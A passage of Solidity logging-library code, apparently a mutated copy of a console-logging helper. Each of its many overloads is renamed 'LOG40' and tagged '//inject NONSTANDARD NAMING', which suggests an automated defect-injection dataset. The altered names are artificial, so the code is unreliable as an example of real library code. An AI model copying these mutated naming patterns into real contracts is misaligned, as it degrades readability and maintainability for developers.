NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(bool,string,bool)", p0, p1, p2)); } function LOG40(bool p0, string memory p1, address p2) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(bool,string,address)", p0, p1, p2)); } function LOG40(bool p0, bool p1, uint p2) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(bool,bool,uint)", p0, p1, p2)); } function LOG40(bool p0, bool p1, string memory p2) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(bool,bool,string)", p0, p1, p2)); } function LOG40(bool p0, bool p1, bool p2) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(bool,bool,bool)", p0, p1, p2)); } function LOG40(bool p0, bool p1, address p2) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(bool,bool,address)", p0, p1, p2)); } function LOG40(bool p0, address p1, uint p2) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(bool,address,uint)", p0, p1, p2)); } function LOG40(bool p0, address p1, string memory p2) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(bool,address,string)", p0, p1, p2)); } function LOG40(bool p0, address p1, bool p2) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(bool,address,bool)", p0, p1, p2)); } function LOG40(bool p0, address p1, address p2) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(bool,address,address)", p0, p1, p2)); } function LOG40(address p0, uint p1, uint p2) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(address,uint,uint)", p0, p1, p2)); } function LOG40(address p0, uint p1, string memory p2) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(address,uint,string)", p0, p1, p2)); } function LOG40(address p0, uint p1, bool p2) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(address,uint,bool)", p0, p1, p2)); } function LOG40(address p0, uint p1, address p2) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(address,uint,address)", p0, p1, p2)); } function LOG40(address p0, string memory p1, uint p2) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(address,string,uint)", p0, p1, p2)); } function LOG40(address p0, string memory p1, string memory p2) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(address,string,string)", p0, p1, p2)); } function LOG40(address p0, string memory p1, bool p2) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(address,string,bool)", p0, p1, p2)); } function LOG40(address p0, string memory p1, address p2) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(address,string,address)", p0, p1, p2)); } function LOG40(address p0, bool p1, uint p2) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(address,bool,uint)", p0, p1, p2)); } function LOG40(address p0, bool p1, string memory p2) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(address,bool,string)", p0, p1, p2)); } function LOG40(address p0, bool p1, bool p2) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(address,bool,bool)", p0, p1, p2)); } function LOG40(address p0, bool p1, address p2) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(address,bool,address)", p0, p1, p2)); } function LOG40(address p0, address p1, uint p2) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(address,address,uint)", p0, p1, p2)); } function LOG40(address p0, address p1, string memory p2) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(address,address,string)", p0, p1, p2)); } function LOG40(address p0, address p1, bool p2) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(address,address,bool)", p0, p1, p2)); } function LOG40(address p0, address p1, address p2) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(address,address,address)", p0, p1, p2)); } function LOG40(uint p0, uint p1, uint p2, uint p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(uint,uint,uint,uint)", p0, p1, p2, p3)); } function LOG40(uint p0, uint p1, uint p2, string memory p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(uint,uint,uint,string)", p0, p1, p2, p3)); } function LOG40(uint p0, uint p1, uint p2, bool p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(uint,uint,uint,bool)", p0, p1, p2, p3)); } function LOG40(uint p0, uint p1, uint p2, address p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(uint,uint,uint,address)", p0, p1, p2, p3)); } function LOG40(uint p0, uint p1, string memory p2, uint p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(uint,uint,string,uint)", p0, p1, p2, p3)); } function LOG40(uint p0, uint p1, string memory p2, string memory p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(uint,uint,string,string)", p0, p1, p2, p3)); } function LOG40(uint p0, uint p1, string memory p2, bool p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(uint,uint,string,bool)", p0, p1, p2, p3)); } function LOG40(uint p0, uint p1, string memory p2, address p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(uint,uint,string,address)", p0, p1, p2, p3)); } function LOG40(uint p0, uint p1, bool p2, uint p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(uint,uint,bool,uint)", p0, p1, p2, p3)); } function LOG40(uint p0, uint p1, bool p2, string memory p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(uint,uint,bool,string)", p0, p1, p2, p3)); } function LOG40(uint p0, uint p1, bool p2, bool p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(uint,uint,bool,bool)", p0, p1, p2, p3)); } function LOG40(uint p0, uint p1, bool p2, address p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(uint,uint,bool,address)", p0, p1, p2, p3)); } function LOG40(uint p0, uint p1, address p2, uint p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(uint,uint,address,uint)", p0, p1, p2, p3)); } function LOG40(uint p0, uint p1, address p2, string memory p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(uint,uint,address,string)", p0, p1, p2, p3)); } function LOG40(uint p0, uint p1, address p2, bool p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(uint,uint,address,bool)", p0, p1, p2, p3)); } function LOG40(uint p0, uint p1, address p2, address p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(uint,uint,address,address)", p0, p1, p2, p3)); } function LOG40(uint p0, string memory p1, uint p2, uint p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(uint,string,uint,uint)", p0, p1, p2, p3)); } function LOG40(uint p0, string memory p1, uint p2, string memory p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(uint,string,uint,string)", p0, p1, p2, p3)); } function LOG40(uint p0, string memory p1, uint p2, bool p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(uint,string,uint,bool)", p0, p1, p2, p3)); } function LOG40(uint p0, string memory p1, uint p2, address p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(uint,string,uint,address)", p0, p1, p2, p3)); } function LOG40(uint p0, string memory p1, string memory p2, uint p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(uint,string,string,uint)", p0, p1, p2, p3)); } function LOG40(uint p0, string memory p1, string memory p2, string memory p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(uint,string,string,string)", p0, p1, p2, p3)); } function LOG40(uint p0, string memory p1, string memory p2, bool p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(uint,string,string,bool)", p0, p1, p2, p3)); } function LOG40(uint p0, string memory p1, string memory p2, address p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(uint,string,string,address)", p0, p1, p2, p3)); } function LOG40(uint p0, string memory p1, bool p2, uint p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(uint,string,bool,uint)", p0, p1, p2, p3)); } function LOG40(uint p0, string memory p1, bool p2, string memory p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(uint,string,bool,string)", p0, p1, p2, p3)); } function LOG40(uint p0, string memory p1, bool p2, bool p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(uint,string,bool,bool)", p0, p1, p2, p3)); } function LOG40(uint p0, string memory p1, bool p2, address p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(uint,string,bool,address)", p0, p1, p2, p3)); } function LOG40(uint p0, string memory p1, address p2, uint p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(uint,string,address,uint)", p0, p1, p2, p3)); } function LOG40(uint p0, string memory p1, address p2, string memory p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(uint,string,address,string)", p0, p1, p2, p3)); } function LOG40(uint p0, string memory p1, address p2, bool p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(uint,string,address,bool)", p0, p1, p2, p3)); } function LOG40(uint p0, string memory p1, address p2, address p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(uint,string,address,address)", p0, p1, p2, p3)); } function LOG40(uint p0, bool p1, uint p2, uint p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(uint,bool,uint,uint)", p0, p1, p2, p3)); } function LOG40(uint p0, bool p1, uint p2, string memory p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(uint,bool,uint,string)", p0, p1, p2, p3)); } function LOG40(uint p0, bool p1, uint p2, bool p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(uint,bool,uint,bool)", p0, p1, p2, p3)); } function LOG40(uint p0, bool p1, uint p2, address p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(uint,bool,uint,address)", p0, p1, p2, p3)); } function LOG40(uint p0, bool p1, string memory p2, uint p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(uint,bool,string,uint)", p0, p1, p2, p3)); } function LOG40(uint p0, bool p1, string memory p2, string memory p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(uint,bool,string,string)", p0, p1, p2, p3)); } function LOG40(uint p0, bool p1, string memory p2, bool p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(uint,bool,string,bool)", p0, p1, p2, p3)); } function LOG40(uint p0, bool p1, string memory p2, address p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(uint,bool,string,address)", p0, p1, p2, p3)); } function LOG40(uint p0, bool p1, bool p2, uint p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(uint,bool,bool,uint)", p0, p1, p2, p3)); } function LOG40(uint p0, bool p1, bool p2, string memory p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(uint,bool,bool,string)", p0, p1, p2, p3)); } function LOG40(uint p0, bool p1, bool p2, bool p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(uint,bool,bool,bool)", p0, p1, p2, p3)); } function LOG40(uint p0, bool p1, bool p2, address p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(uint,bool,bool,address)", p0, p1, p2, p3)); } function LOG40(uint p0, bool p1, address p2, uint p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(uint,bool,address,uint)", p0, p1, p2, p3)); } function LOG40(uint p0, bool p1, address p2, string memory p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(uint,bool,address,string)", p0, p1, p2, p3)); } function LOG40(uint p0, bool p1, address p2, bool p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(uint,bool,address,bool)", p0, p1, p2, p3)); } function LOG40(uint p0, bool p1, address p2, address p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(uint,bool,address,address)", p0, p1, p2, p3)); } function LOG40(uint p0, address p1, uint p2, uint p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(uint,address,uint,uint)", p0, p1, p2, p3)); } function LOG40(uint p0, address p1, uint p2, string memory p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(uint,address,uint,string)", p0, p1, p2, p3)); } function LOG40(uint p0, address p1, uint p2, bool p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(uint,address,uint,bool)", p0, p1, p2, p3)); } function LOG40(uint p0, address p1, uint p2, address p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(uint,address,uint,address)", p0, p1, p2, p3)); } function LOG40(uint p0, address p1, string memory p2, uint p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(uint,address,string,uint)", p0, p1, p2, p3)); } function LOG40(uint p0, address p1, string memory p2, string memory p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(uint,address,string,string)", p0, p1, p2, p3)); } function LOG40(uint p0, address p1, string memory p2, bool p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(uint,address,string,bool)", p0, p1, p2, p3)); } function LOG40(uint p0, address p1, string memory p2, address p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(uint,address,string,address)", p0, p1, p2, p3)); } function LOG40(uint p0, address p1, bool p2, uint p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(uint,address,bool,uint)", p0, p1, p2, p3)); } function LOG40(uint p0, address p1, bool p2, string memory p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(uint,address,bool,string)", p0, p1, p2, p3)); } function LOG40(uint p0, address p1, bool p2, bool p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(uint,address,bool,bool)", p0, p1, p2, p3)); } function LOG40(uint p0, address p1, bool p2, address p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(uint,address,bool,address)", p0, p1, p2, p3)); } function LOG40(uint p0, address p1, address p2, uint p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(uint,address,address,uint)", p0, p1, p2, p3)); } function LOG40(uint p0, address p1, address p2, string memory p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(uint,address,address,string)", p0, p1, p2, p3)); } function LOG40(uint p0, address p1, address p2, bool p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(uint,address,address,bool)", p0, p1, p2, p3)); } function LOG40(uint p0, address p1, address p2, address p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(uint,address,address,address)", p0, p1, p2, p3)); } function LOG40(string memory p0, uint p1, uint p2, uint p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(string,uint,uint,uint)", p0, p1, p2, p3)); } function LOG40(string memory p0, uint p1, uint p2, string memory p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(string,uint,uint,string)", p0, p1, p2, p3)); } function LOG40(string memory p0, uint p1, uint p2, bool p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(string,uint,uint,bool)", p0, p1, p2, p3)); } function LOG40(string memory p0, uint p1, uint p2, address p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(string,uint,uint,address)", p0, p1, p2, p3)); } function LOG40(string memory p0, uint p1, string memory p2, uint p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(string,uint,string,uint)", p0, p1, p2, p3)); } function LOG40(string memory p0, uint p1, string memory p2, string memory p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(string,uint,string,string)", p0, p1, p2, p3)); } function LOG40(string memory p0, uint p1, string memory p2, bool p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(string,uint,string,bool)", p0, p1, p2, p3)); } function LOG40(string memory p0, uint p1, string memory p2, address p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(string,uint,string,address)", p0, p1, p2, p3)); } function LOG40(string memory p0, uint p1, bool p2, uint p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(string,uint,bool,uint)", p0, p1, p2, p3)); } function LOG40(string memory p0, uint p1, bool p2, string memory p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(string,uint,bool,string)", p0, p1, p2, p3)); } function LOG40(string memory p0, uint p1, bool p2, bool p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(string,uint,bool,bool)", p0, p1, p2, p3)); } function LOG40(string memory p0, uint p1, bool p2, address p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(string,uint,bool,address)", p0, p1, p2, p3)); } function LOG40(string memory p0, uint p1, address p2, uint p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(string,uint,address,uint)", p0, p1, p2, p3)); } function LOG40(string memory p0, uint p1, address p2, string memory p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(string,uint,address,string)", p0, p1, p2, p3)); } function LOG40(string memory p0, uint p1, address p2, bool p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(string,uint,address,bool)", p0, p1, p2, p3)); } function LOG40(string memory p0, uint p1, address p2, address p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(string,uint,address,address)", p0, p1, p2, p3)); } function LOG40(string memory p0, string memory p1, uint p2, uint p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(string,string,uint,uint)", p0, p1, p2, p3)); } function LOG40(string memory p0, string memory p1, uint p2, string memory p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(string,string,uint,string)", p0, p1, p2, p3)); } function LOG40(string memory p0, string memory p1, uint p2, bool p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(string,string,uint,bool)", p0, p1, p2, p3)); } function LOG40(string memory p0, string memory p1, uint p2, address p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(string,string,uint,address)", p0, p1, p2, p3)); } function LOG40(string memory p0, string memory p1, string memory p2, uint p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(string,string,string,uint)", p0, p1, p2, p3)); } function LOG40(string memory p0, string memory p1, string memory p2, string memory p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(string,string,string,string)", p0, p1, p2, p3)); } function LOG40(string memory p0, string memory p1, string memory p2, bool p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(string,string,string,bool)", p0, p1, p2, p3)); } function LOG40(string memory p0, string memory p1, string memory p2, address p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(string,string,string,address)", p0, p1, p2, p3)); } function LOG40(string memory p0, string memory p1, bool p2, uint p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(string,string,bool,uint)", p0, p1, p2, p3)); } function LOG40(string memory p0, string memory p1, bool p2, string memory p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(string,string,bool,string)", p0, p1, p2, p3)); } function LOG40(string memory p0, string memory p1, bool p2, bool p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(string,string,bool,bool)", p0, p1, p2, p3)); } function LOG40(string memory p0, string memory p1, bool p2, address p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(string,string,bool,address)", p0, p1, p2, p3)); } function LOG40(string memory p0, string memory p1, address p2, uint p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(string,string,address,uint)", p0, p1, p2, p3)); } function LOG40(string memory p0, string memory p1, address p2, string memory p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(string,string,address,string)", p0, p1, p2, p3)); } function LOG40(string memory p0, string memory p1, address p2, bool p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(string,string,address,bool)", p0, p1, p2, p3)); } function LOG40(string memory p0, string memory p1, address p2, address p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(string,string,address,address)", p0, p1, p2, p3)); } function LOG40(string memory p0, bool p1, uint p2, uint p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(string,bool,uint,uint)", p0, p1, p2, p3)); } function LOG40(string memory p0, bool p1, uint p2, string memory p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(string,bool,uint,string)", p0, p1, p2, p3)); } function LOG40(string memory p0, bool p1, uint p2, bool p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(string,bool,uint,bool)", p0, p1, p2, p3)); } function LOG40(string memory p0, bool p1, uint p2, address p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(string,bool,uint,address)", p0, p1, p2, p3)); } function LOG40(string memory p0, bool p1, string memory p2, uint p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(string,bool,string,uint)", p0, p1, p2, p3)); } function LOG40(string memory p0, bool p1, string memory p2, string memory p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(string,bool,string,string)", p0, p1, p2, p3)); } function LOG40(string memory p0, bool p1, string memory p2, bool p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(string,bool,string,bool)", p0, p1, p2, p3)); } function LOG40(string memory p0, bool p1, string memory p2, address p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(string,bool,string,address)", p0, p1, p2, p3)); } function LOG40(string memory p0, bool p1, bool p2, uint p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(string,bool,bool,uint)", p0, p1, p2, p3)); } function LOG40(string memory p0, bool p1, bool p2, string memory p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(string,bool,bool,string)", p0, p1, p2, p3)); } function LOG40(string memory p0, bool p1, bool p2, bool p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(string,bool,bool,bool)", p0, p1, p2, p3)); } function LOG40(string memory p0, bool p1, bool p2, address p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(string,bool,bool,address)", p0, p1, p2, p3)); } function LOG40(string memory p0, bool p1, address p2, uint p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(string,bool,address,uint)", p0, p1, p2, p3)); } function LOG40(string memory p0, bool p1, address p2, string memory p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(string,bool,address,string)", p0, p1, p2, p3)); } function LOG40(string memory p0, bool p1, address p2, bool p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(string,bool,address,bool)", p0, p1, p2, p3)); } function LOG40(string memory p0, bool p1, address p2, address p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(string,bool,address,address)", p0, p1, p2, p3)); } function LOG40(string memory p0, address p1, uint p2, uint p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(string,address,uint,uint)", p0, p1, p2, p3)); } function LOG40(string memory p0, address p1, uint p2, string memory p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(string,address,uint,string)", p0, p1, p2, p3)); } function LOG40(string memory p0, address p1, uint p2, bool p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(string,address,uint,bool)", p0, p1, p2, p3)); } function LOG40(string memory p0, address p1, uint p2, address p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(string,address,uint,address)", p0, p1, p2, p3)); } function LOG40(string memory p0, address p1, string memory p2, uint p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(string,address,string,uint)", p0, p1, p2, p3)); } function LOG40(string memory p0, address p1, string memory p2, string memory p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(string,address,string,string)", p0, p1, p2, p3)); } function LOG40(string memory p0, address p1, string memory p2, bool p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(string,address,string,bool)", p0, p1, p2, p3)); } function LOG40(string memory p0, address p1, string memory p2, address p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(string,address,string,address)", p0, p1, p2, p3)); } function LOG40(string memory p0, address p1, bool p2, uint p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(string,address,bool,uint)", p0, p1, p2, p3)); } function LOG40(string memory p0, address p1, bool p2, string memory p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(string,address,bool,string)", p0, p1, p2, p3)); } function LOG40(string memory p0, address p1, bool p2, bool p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(string,address,bool,bool)", p0, p1, p2, p3)); } function LOG40(string memory p0, address p1, bool p2, address p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(string,address,bool,address)", p0, p1, p2, p3)); } function LOG40(string memory p0, address p1, address p2, uint p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(string,address,address,uint)", p0, p1, p2, p3)); } function LOG40(string memory p0, address p1, address p2, string memory p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(string,address,address,string)", p0, p1, p2, p3)); } function LOG40(string memory p0, address p1, address p2, bool p3) internal view { //inject NONSTANDARD NAMING 